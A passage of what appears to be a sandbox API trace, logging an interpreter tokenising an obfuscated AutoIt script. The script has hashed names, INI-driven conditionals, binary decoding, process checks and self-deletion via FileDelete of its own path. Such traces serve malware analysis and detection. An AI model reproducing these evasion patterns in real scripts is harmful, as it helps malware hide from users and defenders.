lpsz="989BD8DF7434150DDDCC4E3AF84571E3") returned 0x20 [0078.366] CharUpperBuffW (in: lpsz="Sleep", cchLength=0x5 | out: lpsz="SLEEP") returned 0x5 [0078.366] CharUpperBuffW (in: lpsz="FileSetAttrib", cchLength=0xd | out: lpsz="FILESETATTRIB") returned 0xd [0078.366] CharUpperBuffW (in: lpsz="9355FBBA246C8217C04EE3075C218909", cchLength=0x20 | out: lpsz="9355FBBA246C8217C04EE3075C218909") returned 0x20 [0078.366] CharUpperBuffW (in: lpsz="Sleep", cchLength=0x5 | out: lpsz="SLEEP") returned 0x5 [0078.366] CharUpperBuffW (in: lpsz="_S0x325952AE1C47E8F062A74927A1DBE55B", cchLength=0x24 | out: lpsz="_S0X325952AE1C47E8F062A74927A1DBE55B") returned 0x24 [0078.366] CharUpperBuffW (in: lpsz="Func", cchLength=0x4 | out: lpsz="FUNC") returned 0x4 [0078.367] CharUpperBuffW (in: lpsz="_S0x325952AE1C47E8F062A74927A1DBE55B", cchLength=0x24 | out: lpsz="_S0X325952AE1C47E8F062A74927A1DBE55B") returned 0x24 [0078.367] CharUpperBuffW (in: lpsz="39EE801D7E22D21808919DD1A991F950", cchLength=0x20 | out: lpsz="39EE801D7E22D21808919DD1A991F950") returned 0x20 [0078.367] CharUpperBuffW (in: lpsz="IniRead", cchLength=0x7 | out: lpsz="INIREAD") returned 0x7 [0078.367] CharUpperBuffW (in: lpsz="6D8EA853F0F9D4F4725A7B18BA8E68E5", cchLength=0x20 | out: lpsz="6D8EA853F0F9D4F4725A7B18BA8E68E5") returned 0x20 [0078.367] CharUpperBuffW (in: lpsz="If", cchLength=0x2 | out: lpsz="IF") returned 0x2 [0078.367] CharUpperBuffW (in: lpsz="39EE801D7E22D21808919DD1A991F950", cchLength=0x20 | out: lpsz="39EE801D7E22D21808919DD1A991F950") returned 0x20 [0078.367] CharUpperBuffW (in: lpsz="Then", cchLength=0x4 | out: lpsz="THEN") returned 0x4 [0078.367] CharUpperBuffW (in: lpsz="_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B", cchLength=0x24 | out: lpsz="_S0XCD06933F8DF7350D8A7AA4D9F1BAFB5B") returned 0x24 [0078.367] CharUpperBuffW (in: lpsz="EndIf", cchLength=0x5 | out: lpsz="ENDIF") returned 0x5 [0078.367] CharUpperBuffW (in: lpsz="4FE9C92D9445918D1759387A12138EA3", cchLength=0x20 | out: lpsz="4FE9C92D9445918D1759387A12138EA3") returned 0x20 [0078.368] CharUpperBuffW (in: lpsz="IniRead", cchLength=0x7 | out: lpsz="INIREAD") returned 0x7 [0078.368] CharUpperBuffW (in: lpsz="6D8EA853F0F9D4F4725A7B18BA8E68E5", cchLength=0x20 | out: lpsz="6D8EA853F0F9D4F4725A7B18BA8E68E5") returned 0x20 [0078.368] CharUpperBuffW (in: lpsz="If", cchLength=0x2 | out: lpsz="IF") returned 0x2 [0078.368] CharUpperBuffW (in: lpsz="4FE9C92D9445918D1759387A12138EA3", cchLength=0x20 | out: lpsz="4FE9C92D9445918D1759387A12138EA3") returned 0x20 [0078.368] CharUpperBuffW (in: lpsz="Then", cchLength=0x4 | out: lpsz="THEN") returned 0x4 [0078.368] CharUpperBuffW (in: lpsz="_S0x20057179D673181B71D4593BFB2A0450", cchLength=0x24 | out: lpsz="_S0X20057179D673181B71D4593BFB2A0450") returned 0x24 [0078.368] CharUpperBuffW (in: lpsz="EndIf", cchLength=0x5 | out: lpsz="ENDIF") returned 0x5 [0078.368] CharUpperBuffW (in: lpsz="7720810FD229554DD77847CB9AFBA43C", cchLength=0x20 | out: lpsz="7720810FD229554DD77847CB9AFBA43C") returned 0x20 [0078.368] CharUpperBuffW (in: lpsz="IniRead", cchLength=0x7 | out: lpsz="INIREAD") returned 0x7 [0078.368] CharUpperBuffW (in: lpsz="6D8EA853F0F9D4F4725A7B18BA8E68E5", cchLength=0x20 | out: lpsz="6D8EA853F0F9D4F4725A7B18BA8E68E5") returned 0x20 [0078.368] CharUpperBuffW (in: lpsz="If", cchLength=0x2 | out: lpsz="IF") returned 0x2 [0078.369] CharUpperBuffW (in: lpsz="7720810FD229554DD77847CB9AFBA43C", cchLength=0x20 | out: lpsz="7720810FD229554DD77847CB9AFBA43C") returned 0x20 [0078.369] CharUpperBuffW (in: lpsz="Then", cchLength=0x4 | out: lpsz="THEN") returned 0x4 [0078.369] CharUpperBuffW (in: lpsz="_S0xF2781DA828DC14A0F0FEF5D4A4426C98", cchLength=0x24 | out: lpsz="_S0XF2781DA828DC14A0F0FEF5D4A4426C98") returned 0x24 [0078.369] CharUpperBuffW (in: lpsz="EndIf", cchLength=0x5 | out: lpsz="ENDIF") returned 0x5 [0078.369] CharUpperBuffW (in: lpsz="1CE94C1EFB22EC0E6A185C1DF526F610", cchLength=0x20 | out: lpsz="1CE94C1EFB22EC0E6A185C1DF526F610") returned 0x20 [0078.369] CharUpperBuffW (in: lpsz="IniRead", cchLength=0x7 | out: lpsz="INIREAD") returned 0x7 [0078.369] CharUpperBuffW (in: lpsz="6D8EA853F0F9D4F4725A7B18BA8E68E5", cchLength=0x20 | out: lpsz="6D8EA853F0F9D4F4725A7B18BA8E68E5") returned 0x20 [0078.369] CharUpperBuffW (in: lpsz="If", cchLength=0x2 | out: lpsz="IF") returned 0x2 [0078.369] CharUpperBuffW (in: lpsz="1CE94C1EFB22EC0E6A185C1DF526F610", cchLength=0x20 | out: lpsz="1CE94C1EFB22EC0E6A185C1DF526F610") returned 0x20 [0078.369] CharUpperBuffW (in: lpsz="Then", cchLength=0x4 | out: lpsz="THEN") returned 0x4 [0078.370] CharUpperBuffW (in: lpsz="_S0x68186AB5B357A0A14A644C0DF695A52F", cchLength=0x24 | out: lpsz="_S0X68186AB5B357A0A14A644C0DF695A52F") returned 0x24 [0078.370] CharUpperBuffW (in: lpsz="EndIf", cchLength=0x5 | out: lpsz="ENDIF") returned 0x5 [0078.370] CharUpperBuffW (in: lpsz="F8AE244B1B08123E5D880B38054376F1", cchLength=0x20 | out: lpsz="F8AE244B1B08123E5D880B38054376F1") returned 0x20 [0078.370] CharUpperBuffW (in: lpsz="IniRead", cchLength=0x7 | out: lpsz="INIREAD") returned 0x7 [0078.370] CharUpperBuffW (in: lpsz="6D8EA853F0F9D4F4725A7B18BA8E68E5", cchLength=0x20 | out: lpsz="6D8EA853F0F9D4F4725A7B18BA8E68E5") returned 0x20 [0078.370] CharUpperBuffW (in: lpsz="If", cchLength=0x2 | out: lpsz="IF") returned 0x2 [0078.370] CharUpperBuffW (in: lpsz="F8AE244B1B08123E5D880B38054376F1", cchLength=0x20 | out: lpsz="F8AE244B1B08123E5D880B38054376F1") returned 0x20 [0078.370] CharUpperBuffW (in: lpsz="Then", cchLength=0x4 | out: lpsz="THEN") returned 0x4 [0078.370] CharUpperBuffW (in: lpsz="_S0x1BBD61B5E692FCE17130D76616C68EBD", cchLength=0x24 | out: lpsz="_S0X1BBD61B5E692FCE17130D76616C68EBD") returned 0x24 [0078.370] CharUpperBuffW (in: lpsz="EndIf", cchLength=0x5 | out: lpsz="ENDIF") returned 0x5 [0078.370] CharUpperBuffW (in: lpsz="9591864BF46863A614F7C4FA8E1115C7", cchLength=0x20 | out: lpsz="9591864BF46863A614F7C4FA8E1115C7") returned 0x20 [0078.371] CharUpperBuffW (in: lpsz="IniRead", cchLength=0x7 | out: lpsz="INIREAD") returned 0x7 [0078.371] CharUpperBuffW (in: lpsz="6D8EA853F0F9D4F4725A7B18BA8E68E5", cchLength=0x20 | out: lpsz="6D8EA853F0F9D4F4725A7B18BA8E68E5") returned 0x20 [0078.371] CharUpperBuffW (in: lpsz="If", cchLength=0x2 | out: lpsz="IF") returned 0x2 [0078.371] CharUpperBuffW (in: lpsz="9591864BF46863A614F7C4FA8E1115C7", cchLength=0x20 | out: lpsz="9591864BF46863A614F7C4FA8E1115C7") returned 0x20 [0078.371] CharUpperBuffW (in: lpsz="Then", cchLength=0x4 | out: lpsz="THEN") returned 0x4 [0078.371] CharUpperBuffW (in: lpsz="_S0x050BF61634F62863E7BB6AC69F3E487B", cchLength=0x24 | out: lpsz="_S0X050BF61634F62863E7BB6AC69F3E487B") returned 0x24 [0078.371] CharUpperBuffW (in: lpsz="EndIf", cchLength=0x5 | out: lpsz="ENDIF") returned 0x5 [0078.371] CharUpperBuffW (in: lpsz="9591864BF46863A614F7C4FA8E1115C7", cchLength=0x20 | out: lpsz="9591864BF46863A614F7C4FA8E1115C7") returned 0x20 [0078.371] CharUpperBuffW (in: lpsz="IniRead", cchLength=0x7 | out: lpsz="INIREAD") returned 0x7 [0078.371] CharUpperBuffW (in: lpsz="6D8EA853F0F9D4F4725A7B18BA8E68E5", cchLength=0x20 | out: lpsz="6D8EA853F0F9D4F4725A7B18BA8E68E5") returned 0x20 [0078.371] CharUpperBuffW (in: lpsz="If", cchLength=0x2 | out: lpsz="IF") returned 0x2 [0078.372] CharUpperBuffW (in: lpsz="9591864BF46863A614F7C4FA8E1115C7", cchLength=0x20 | out: lpsz="9591864BF46863A614F7C4FA8E1115C7") returned 0x20 [0078.372] CharUpperBuffW (in: lpsz="Then", cchLength=0x4 | out: lpsz="THEN") returned 0x4 [0078.372] CharUpperBuffW (in: lpsz="_S0xD390989A5708F188D35440C295B99A56", cchLength=0x24 | out: lpsz="_S0XD390989A5708F188D35440C295B99A56") returned 0x24 [0078.372] CharUpperBuffW (in: lpsz="EndIf", cchLength=0x5 | out: lpsz="ENDIF") returned 0x5 [0078.372] CharUpperBuffW (in: lpsz="A670CC2ECC35575854C80B4208A78E05", cchLength=0x20 | out: lpsz="A670CC2ECC35575854C80B4208A78E05") returned 0x20 [0078.372] CharUpperBuffW (in: lpsz="IniRead", cchLength=0x7 | out: lpsz="INIREAD") returned 0x7 [0078.372] CharUpperBuffW (in: lpsz="6D8EA853F0F9D4F4725A7B18BA8E68E5", cchLength=0x20 | out: lpsz="6D8EA853F0F9D4F4725A7B18BA8E68E5") returned 0x20 [0078.372] CharUpperBuffW (in: lpsz="If", cchLength=0x2 | out: lpsz="IF") returned 0x2 [0078.372] CharUpperBuffW (in: lpsz="A670CC2ECC35575854C80B4208A78E05", cchLength=0x20 | out: lpsz="A670CC2ECC35575854C80B4208A78E05") returned 0x20 [0078.372] CharUpperBuffW (in: lpsz="Then", cchLength=0x4 | out: lpsz="THEN") returned 0x4 [0078.373] CharUpperBuffW (in: lpsz="_S0xC7ADA02AAC2441891463C2209AAEC94F", cchLength=0x24 | out: lpsz="_S0XC7ADA02AAC2441891463C2209AAEC94F") returned 0x24 [0078.373] CharUpperBuffW (in: lpsz="EndIf", cchLength=0x5 | out: lpsz="ENDIF") returned 0x5 [0078.373] CharUpperBuffW (in: lpsz="38FB60076F054E3721B05607F1809456", cchLength=0x20 | out: lpsz="38FB60076F054E3721B05607F1809456") returned 0x20 [0078.373] CharUpperBuffW (in: lpsz="IniRead", cchLength=0x7 | out: lpsz="INIREAD") returned 0x7 [0078.373] CharUpperBuffW (in: lpsz="6D8EA853F0F9D4F4725A7B18BA8E68E5", cchLength=0x20 | out: lpsz="6D8EA853F0F9D4F4725A7B18BA8E68E5") returned 0x20 [0078.373] CharUpperBuffW (in: lpsz="061EF4528D3BEC1BAD24205CFB342445", cchLength=0x20 | out: lpsz="061EF4528D3BEC1BAD24205CFB342445") returned 0x20 [0078.373] CharUpperBuffW (in: lpsz="IniRead", cchLength=0x7 | out: lpsz="INIREAD") returned 0x7 [0078.373] CharUpperBuffW (in: lpsz="6D8EA853F0F9D4F4725A7B18BA8E68E5", cchLength=0x20 | out: lpsz="6D8EA853F0F9D4F4725A7B18BA8E68E5") returned 0x20 [0078.373] CharUpperBuffW (in: lpsz="If", cchLength=0x2 | out: lpsz="IF") returned 0x2 [0078.373] CharUpperBuffW (in: lpsz="061EF4528D3BEC1BAD24205CFB342445", cchLength=0x20 | out: lpsz="061EF4528D3BEC1BAD24205CFB342445") returned 0x20 [0078.373] CharUpperBuffW (in: lpsz="Then", cchLength=0x4 | out: lpsz="THEN") returned 0x4 [0078.374] CharUpperBuffW (in: lpsz="576E7ACF370C475C1F7CFFC8287D4894", cchLength=0x20 | out: lpsz="576E7ACF370C475C1F7CFFC8287D4894") returned 0x20 [0078.374] CharUpperBuffW (in: lpsz="IniRead", cchLength=0x7 | out: lpsz="INIREAD") returned 0x7 [0078.374] CharUpperBuffW (in: lpsz="6D8EA853F0F9D4F4725A7B18BA8E68E5", cchLength=0x20 | out: lpsz="6D8EA853F0F9D4F4725A7B18BA8E68E5") returned 0x20 [0078.374] CharUpperBuffW (in: lpsz="_S0xC8217D78780E72F524EC8E3C8A152959", cchLength=0x24 | out: lpsz="_S0XC8217D78780E72F524EC8E3C8A152959") returned 0x24 [0078.374] CharUpperBuffW (in: lpsz="576E7ACF370C475C1F7CFFC8287D4894", cchLength=0x20 | out: lpsz="576E7ACF370C475C1F7CFFC8287D4894") returned 0x20 [0078.374] CharUpperBuffW (in: lpsz="EndIf", cchLength=0x5 | out: lpsz="ENDIF") returned 0x5 [0078.374] CharUpperBuffW (in: lpsz="7844252F058DDA024127F0F6E1F47A98", cchLength=0x20 | out: lpsz="7844252F058DDA024127F0F6E1F47A98") returned 0x20 [0078.374] CharUpperBuffW (in: lpsz="IniRead", cchLength=0x7 | out: lpsz="INIREAD") returned 0x7 [0078.374] CharUpperBuffW (in: lpsz="6D8EA853F0F9D4F4725A7B18BA8E68E5", cchLength=0x20 | out: lpsz="6D8EA853F0F9D4F4725A7B18BA8E68E5") returned 0x20 [0078.374] CharUpperBuffW (in: lpsz="If", cchLength=0x2 | out: lpsz="IF") returned 0x2 [0078.374] CharUpperBuffW (in: lpsz="7844252F058DDA024127F0F6E1F47A98", cchLength=0x20 | out: lpsz="7844252F058DDA024127F0F6E1F47A98") returned 0x20 [0078.375] CharUpperBuffW (in: lpsz="Then", cchLength=0x4 | out: lpsz="THEN") returned 0x4 [0078.375] CharUpperBuffW (in: lpsz="_S0xDF98BC688C668B0407CDE2D98C295CB8", cchLength=0x24 | out: lpsz="_S0XDF98BC688C668B0407CDE2D98C295CB8") returned 0x24 [0078.375] CharUpperBuffW (in: lpsz="BinaryToString", cchLength=0xe | out: lpsz="BINARYTOSTRING") returned 0xe [0078.375] CharUpperBuffW (in: lpsz="7844252F058DDA024127F0F6E1F47A98", cchLength=0x20 | out: lpsz="7844252F058DDA024127F0F6E1F47A98") returned 0x20 [0078.375] CharUpperBuffW (in: lpsz="EndIf", cchLength=0x5 | out: lpsz="ENDIF") returned 0x5 [0078.375] CharUpperBuffW (in: lpsz="F39285179624EA59225A0BF28273C515", cchLength=0x20 | out: lpsz="F39285179624EA59225A0BF28273C515") returned 0x20 [0078.375] CharUpperBuffW (in: lpsz="IniRead", cchLength=0x7 | out: lpsz="INIREAD") returned 0x7 [0078.375] CharUpperBuffW (in: lpsz="6D8EA853F0F9D4F4725A7B18BA8E68E5", cchLength=0x20 | out: lpsz="6D8EA853F0F9D4F4725A7B18BA8E68E5") returned 0x20 [0078.375] CharUpperBuffW (in: lpsz="If", cchLength=0x2 | out: lpsz="IF") returned 0x2 [0078.375] CharUpperBuffW (in: lpsz="F39285179624EA59225A0BF28273C515", cchLength=0x20 | out: lpsz="F39285179624EA59225A0BF28273C515") returned 0x20 [0078.375] CharUpperBuffW (in: lpsz="Then", cchLength=0x4 | out: lpsz="THEN") returned 0x4 [0078.376] CharUpperBuffW (in: lpsz="F39285179624EA59225A0BF28273C515", cchLength=0x20 | out: lpsz="F39285179624EA59225A0BF28273C515") returned 0x20 [0078.376] CharUpperBuffW (in: lpsz="True", cchLength=0x4 | out: lpsz="TRUE") returned 0x4 [0078.376] CharUpperBuffW (in: lpsz="EndIf", cchLength=0x5 | out: lpsz="ENDIF") returned 0x5 [0078.376] CharUpperBuffW (in: lpsz="8F5EBE1328FC2B2DC6016A70C366F083", cchLength=0x20 | out: lpsz="8F5EBE1328FC2B2DC6016A70C366F083") returned 0x20 [0078.376] CharUpperBuffW (in: lpsz="IniRead", cchLength=0x7 | out: lpsz="INIREAD") returned 0x7 [0078.376] CharUpperBuffW (in: lpsz="6D8EA853F0F9D4F4725A7B18BA8E68E5", cchLength=0x20 | out: lpsz="6D8EA853F0F9D4F4725A7B18BA8E68E5") returned 0x20 [0078.376] CharUpperBuffW (in: lpsz="If", cchLength=0x2 | out: lpsz="IF") returned 0x2 [0078.376] CharUpperBuffW (in: lpsz="8F5EBE1328FC2B2DC6016A70C366F083", cchLength=0x20 | out: lpsz="8F5EBE1328FC2B2DC6016A70C366F083") returned 0x20 [0078.376] CharUpperBuffW (in: lpsz="Then", cchLength=0x4 | out: lpsz="THEN") returned 0x4 [0078.376] CharUpperBuffW (in: lpsz="3B3F342DCB843A363757E1DD2813D3FF", cchLength=0x20 | out: lpsz="3B3F342DCB843A363757E1DD2813D3FF") returned 0x20 [0078.376] CharUpperBuffW (in: lpsz="True", cchLength=0x4 | out: lpsz="TRUE") returned 0x4 [0078.377] CharUpperBuffW (in: lpsz="EndIf", cchLength=0x5 | out: lpsz="ENDIF") returned 0x5 [0078.377] CharUpperBuffW (in: lpsz="6041FCAD8A4EB8C30A147D795679C7FA", cchLength=0x20 | out: lpsz="6041FCAD8A4EB8C30A147D795679C7FA") returned 0x20 [0078.377] CharUpperBuffW (in: lpsz="IniRead", cchLength=0x7 | out: lpsz="INIREAD") returned 0x7 [0078.377] CharUpperBuffW (in: lpsz="6D8EA853F0F9D4F4725A7B18BA8E68E5", cchLength=0x20 | out: lpsz="6D8EA853F0F9D4F4725A7B18BA8E68E5") returned 0x20 [0078.377] CharUpperBuffW (in: lpsz="If", cchLength=0x2 | out: lpsz="IF") returned 0x2 [0078.377] CharUpperBuffW (in: lpsz="6041FCAD8A4EB8C30A147D795679C7FA", cchLength=0x20 | out: lpsz="6041FCAD8A4EB8C30A147D795679C7FA") returned 0x20 [0078.377] CharUpperBuffW (in: lpsz="And", cchLength=0x3 | out: lpsz="AND") returned 0x3 [0078.377] CharUpperBuffW (in: lpsz="Not", cchLength=0x3 | out: lpsz="NOT") returned 0x3 [0078.377] CharUpperBuffW (in: lpsz="FileExists", cchLength=0xa | out: lpsz="FILEEXISTS") returned 0xa [0078.378] CharUpperBuffW (in: lpsz="ScriptDir", cchLength=0x9 | out: lpsz="SCRIPTDIR") returned 0x9 [0078.378] CharUpperBuffW (in: lpsz="Then", cchLength=0x4 | out: lpsz="THEN") returned 0x4 [0078.378] CharUpperBuffW (in: lpsz="_S0xB90F6847EC557E33AF45D188DF40E553", cchLength=0x24 | out: lpsz="_S0XB90F6847EC557E33AF45D188DF40E553") returned 0x24 [0078.378] CharUpperBuffW (in: lpsz="6041FCAD8A4EB8C30A147D795679C7FA", cchLength=0x20 | out: lpsz="6041FCAD8A4EB8C30A147D795679C7FA") returned 0x20 [0078.378] CharUpperBuffW (in: lpsz="Else", cchLength=0x4 | out: lpsz="ELSE") returned 0x4 [0078.378] CharUpperBuffW (in: lpsz="FileDelete", cchLength=0xa | out: lpsz="FILEDELETE") returned 0xa [0078.378] CharUpperBuffW (in: lpsz="ScriptDir", cchLength=0x9 | out: lpsz="SCRIPTDIR") returned 0x9 [0078.378] CharUpperBuffW (in: lpsz="_S0x52B4715D2033E89A9AC8EA2480527E78", cchLength=0x24 | out: lpsz="_S0X52B4715D2033E89A9AC8EA2480527E78") returned 0x24 [0078.378] CharUpperBuffW (in: lpsz="EndIf", cchLength=0x5 | out: lpsz="ENDIF") returned 0x5 [0078.378] CharUpperBuffW (in: lpsz="FD207A895B0E415C87F1962728B8263A", cchLength=0x20 | out: lpsz="FD207A895B0E415C87F1962728B8263A") returned 0x20 [0078.378] CharUpperBuffW (in: lpsz="BinaryToString", cchLength=0xe | out: lpsz="BINARYTOSTRING") returned 0xe [0078.379] CharUpperBuffW (in: lpsz="IniRead", cchLength=0x7 | out: lpsz="INIREAD") returned 0x7 [0078.379] CharUpperBuffW (in: lpsz="6D8EA853F0F9D4F4725A7B18BA8E68E5", cchLength=0x20 | out: lpsz="6D8EA853F0F9D4F4725A7B18BA8E68E5") returned 0x20 [0078.379] CharUpperBuffW (in: lpsz="EF334541C41BF1292618BD324F33ECFF", cchLength=0x20 | out: lpsz="EF334541C41BF1292618BD324F33ECFF") returned 0x20 [0078.379] CharUpperBuffW (in: lpsz="IniRead", cchLength=0x7 | out: lpsz="INIREAD") returned 0x7 [0078.379] CharUpperBuffW (in: lpsz="6D8EA853F0F9D4F4725A7B18BA8E68E5", cchLength=0x20 | out: lpsz="6D8EA853F0F9D4F4725A7B18BA8E68E5") returned 0x20 [0078.379] CharUpperBuffW (in: lpsz="If", cchLength=0x2 | out: lpsz="IF") returned 0x2 [0078.379] CharUpperBuffW (in: lpsz="FD207A895B0E415C87F1962728B8263A", cchLength=0x20 | out: lpsz="FD207A895B0E415C87F1962728B8263A") returned 0x20 [0078.379] CharUpperBuffW (in: lpsz="Or", cchLength=0x2 | out: lpsz="OR") returned 0x2 [0078.379] CharUpperBuffW (in: lpsz="EF334541C41BF1292618BD324F33ECFF", cchLength=0x20 | out: lpsz="EF334541C41BF1292618BD324F33ECFF") returned 0x20 [0078.379] CharUpperBuffW (in: lpsz="Or", cchLength=0x2 | out: lpsz="OR") returned 0x2 [0078.380] CharUpperBuffW (in: lpsz="38FB60076F054E3721B05607F1809456", cchLength=0x20 | out: lpsz="38FB60076F054E3721B05607F1809456") returned 0x20 [0078.380] CharUpperBuffW (in: lpsz="Then", cchLength=0x4 | out: lpsz="THEN") returned 0x4 [0078.380] CharUpperBuffW (in: lpsz="_S0x414CFDD3120C9E3AC9558E79E8F4EFB8", cchLength=0x24 | out: lpsz="_S0X414CFDD3120C9E3AC9558E79E8F4EFB8") returned 0x24 [0078.380] CharUpperBuffW (in: lpsz="EndIf", cchLength=0x5 | out: lpsz="ENDIF") returned 0x5 [0078.380] CharUpperBuffW (in: lpsz="Sleep", cchLength=0x5 | out: lpsz="SLEEP") returned 0x5 [0078.380] CharUpperBuffW (in: lpsz="FileDelete", cchLength=0xa | out: lpsz="FILEDELETE") returned 0xa [0078.380] CharUpperBuffW (in: lpsz="ScriptFullPath", cchLength=0xe | out: lpsz="SCRIPTFULLPATH") returned 0xe [0078.380] CharUpperBuffW (in: lpsz="Exit", cchLength=0x4 | out: lpsz="EXIT") returned 0x4 [0078.380] CharUpperBuffW (in: lpsz="EndFunc", cchLength=0x7 | out: lpsz="ENDFUNC") returned 0x7 [0078.381] CharUpperBuffW (in: lpsz="Func", cchLength=0x4 | out: lpsz="FUNC") returned 0x4 [0078.381] CharUpperBuffW (in: lpsz="_S0x52B4715D2033E89A9AC8EA2480527E78", cchLength=0x24 | out: lpsz="_S0X52B4715D2033E89A9AC8EA2480527E78") returned 0x24 [0078.381] CharUpperBuffW (in: lpsz="If", cchLength=0x2 | out: lpsz="IF") returned 0x2 [0078.381] CharUpperBuffW (in: lpsz="UBound", cchLength=0x6 | out: lpsz="UBOUND") returned 0x6 [0078.381] CharUpperBuffW (in: lpsz="ProcessList", cchLength=0xb | out: lpsz="PROCESSLIST") returned 0xb [0078.381] CharUpperBuffW (in: lpsz="Then", cchLength=0x4 | out: lpsz="THEN") returned 0x4 [0078.381] CharUpperBuffW (in: lpsz="Exit", cchLength=0x4 | out: lpsz="EXIT") returned 0x4 [0078.381] CharUpperBuffW (in: lpsz="ProcessSetPriority", cchLength=0x12 | out: lpsz="PROCESSSETPRIORITY") returned 0x12 [0078.381] CharUpperBuffW (in: lpsz="FD207A895B0E415C87F1962728B8263A", cchLength=0x20 | out: lpsz="FD207A895B0E415C87F1962728B8263A") returned 0x20 [0078.381] CharUpperBuffW (in: lpsz="BinaryToString", cchLength=0xe | out: lpsz="BINARYTOSTRING") returned 0xe [0078.381] CharUpperBuffW (in: lpsz="IniRead", cchLength=0x7 | out: lpsz="INIREAD") returned 0x7 [0078.382] CharUpperBuffW (in: lpsz="6D8EA853F0F9D4F4725A7B18BA8E68E5", cchLength=0x20 | out: lpsz="6D8EA853F0F9D4F4725A7B18BA8E68E5") returned 0x20 [0078.382] CharUpperBuffW (in: lpsz="EF334541C41BF1292618BD324F33ECFF", cchLength=0x20 | out: lpsz="EF334541C41BF1292618BD324F33ECFF") returned 0x20 [0078.382] CharUpperBuffW (in: lpsz="IniRead", cchLength=0x7 | out: lpsz="INIREAD") returned 0x7 [0078.382] CharUpperBuffW (in: lpsz="6D8EA853F0F9D4F4725A7B18BA8E68E5", cchLength=0x20 | out: lpsz="6D8EA853F0F9D4F4725A7B18BA8E68E5") returned 0x20 [0078.382] CharUpperBuffW (in: lpsz="F4DFB2640F9C83642593C4B8B31E9FFD", cchLength=0x20 | out: lpsz="F4DFB2640F9C83642593C4B8B31E9FFD") returned 0x20 [0078.382] CharUpperBuffW (in: lpsz="IniRead", cchLength=0x7 | out: lpsz="INIREAD") returned 0x7 [0078.382] CharUpperBuffW (in: lpsz="6D8EA853F0F9D4F4725A7B18BA8E68E5", cchLength=0x20 | out: lpsz="6D8EA853F0F9D4F4725A7B18BA8E68E5") returned 0x20 [0078.382] CharUpperBuffW (in: lpsz="38FB60076F054E3721B05607F1809456", cchLength=0x20 | out: lpsz="38FB60076F054E3721B05607F1809456") returned 0x20 [0078.382] CharUpperBuffW (in: lpsz="IniRead", cchLength=0x7 | out: lpsz="INIREAD") returned 0x7 [0078.382] CharUpperBuffW (in: lpsz="6D8EA853F0F9D4F4725A7B18BA8E68E5", cchLength=0x20 | out: lpsz="6D8EA853F0F9D4F4725A7B18BA8E68E5") returned 0x20 [0078.382] CharUpperBuffW (in: lpsz="576E7ACF370C475C1F7CFFC8287D4894", cchLength=0x20 | out: lpsz="576E7ACF370C475C1F7CFFC8287D4894") returned 0x20 [0078.383] CharUpperBuffW (in: lpsz="IniRead", cchLength=0x7 | out: lpsz="INIREAD") returned 0x7 [0078.383] CharUpperBuffW (in: lpsz="6D8EA853F0F9D4F4725A7B18BA8E68E5", cchLength=0x20 | out: lpsz="6D8EA853F0F9D4F4725A7B18BA8E68E5") returned 0x20 [0078.383] CharUpperBuffW (in: lpsz="While", cchLength=0x5 | out: lpsz="WHILE") returned 0x5 [0078.383] CharUpperBuffW (in: lpsz="Sleep", cchLength=0x5 | out: lpsz="SLEEP") returned 0x5 [0078.383] CharUpperBuffW (in: lpsz="If", cchLength=0x2 | out: lpsz="IF") returned 0x2 [0078.383] CharUpperBuffW (in: lpsz="38FB60076F054E3721B05607F1809456", cchLength=0x20 | out: lpsz="38FB60076F054E3721B05607F1809456") returned 0x20 [0078.383] CharUpperBuffW (in: lpsz="Then", cchLength=0x4 | out: lpsz="THEN") returned 0x4 [0078.383] CharUpperBuffW (in: lpsz="_S0xF1574845E60AEC3584441945B7A7A605", cchLength=0x24 | out: lpsz="_S0XF1574845E60AEC3584441945B7A7A605") returned 0x24 [0078.383] CharUpperBuffW (in: lpsz="576E7ACF370C475C1F7CFFC8287D4894", cchLength=0x20 | out: lpsz="576E7ACF370C475C1F7CFFC8287D4894") returned 0x20 [0078.383] CharUpperBuffW (in: lpsz="EndIf", cchLength=0x5 | out: lpsz="ENDIF") returned 0x5 [0078.384] CharUpperBuffW (in: lpsz="If", cchLength=0x2 | out: lpsz="IF") returned 0x2 [0078.384] CharUpperBuffW (in: lpsz="FD207A895B0E415C87F1962728B8263A", cchLength=0x20 | out: lpsz="FD207A895B0E415C87F1962728B8263A") returned 0x20 [0078.384] CharUpperBuffW (in: lpsz="Then", cchLength=0x4 | out: lpsz="THEN") returned 0x4 [0078.384] CharUpperBuffW (in: lpsz="_S0x37D47AC55C07B2CFD75BFB9A83781AB6", cchLength=0x24 | out: lpsz="_S0X37D47AC55C07B2CFD75BFB9A83781AB6") returned 0x24 [0078.384] CharUpperBuffW (in: lpsz="FD207A895B0E415C87F1962728B8263A", cchLength=0x20 | out: lpsz="FD207A895B0E415C87F1962728B8263A") returned 0x20 [0078.384] CharUpperBuffW (in: lpsz="EndIf", cchLength=0x5 | out: lpsz="ENDIF") returned 0x5 [0078.384] CharUpperBuffW (in: lpsz="If", cchLength=0x2 | out: lpsz="IF") returned 0x2 [0078.384] CharUpperBuffW (in: lpsz="EF334541C41BF1292618BD324F33ECFF", cchLength=0x20 | out: lpsz="EF334541C41BF1292618BD324F33ECFF") returned 0x20 [0078.384] CharUpperBuffW (in: lpsz="Then", cchLength=0x4 | out: lpsz="THEN") returned 0x4 [0078.384] CharUpperBuffW (in: lpsz="_S0xBE95FE732C869FE99BAFE2C7473BB411", cchLength=0x24 | out: lpsz="_S0XBE95FE732C869FE99BAFE2C7473BB411") returned 0x24 [0078.384] CharUpperBuffW (in: lpsz="576E7ACF370C475C1F7CFFC8287D4894", cchLength=0x20 | out: lpsz="576E7ACF370C475C1F7CFFC8287D4894") returned 0x20 [0078.385] CharUpperBuffW (in: lpsz="EndIf", cchLength=0x5 | out: lpsz="ENDIF") returned 0x5 [0078.385] CharUpperBuffW (in: lpsz="WEnd", cchLength=0x4 | out: lpsz="WEND") returned 0x4 [0078.385] CharUpperBuffW (in: lpsz="EndFunc", cchLength=0x7 | out: lpsz="ENDFUNC") returned 0x7 [0078.385] CharUpperBuffW (in: lpsz="Func", cchLength=0x4 | out: lpsz="FUNC") returned 0x4 [0078.385] CharUpperBuffW (in: lpsz="_S0xF1574845E60AEC3584441945B7A7A605", cchLength=0x24 | out: lpsz="_S0XF1574845E60AEC3584441945B7A7A605") returned 0x24 [0078.385] CharUpperBuffW (in: lpsz="576E7ACF370C475C1F7CFFC8287D4894", cchLength=0x20 | out: lpsz="576E7ACF370C475C1F7CFFC8287D4894") returned 0x20 [0078.385] CharUpperBuffW (in: lpsz="If", cchLength=0x2 | out: lpsz="IF") returned 0x2 [0078.385] CharUpperBuffW (in: 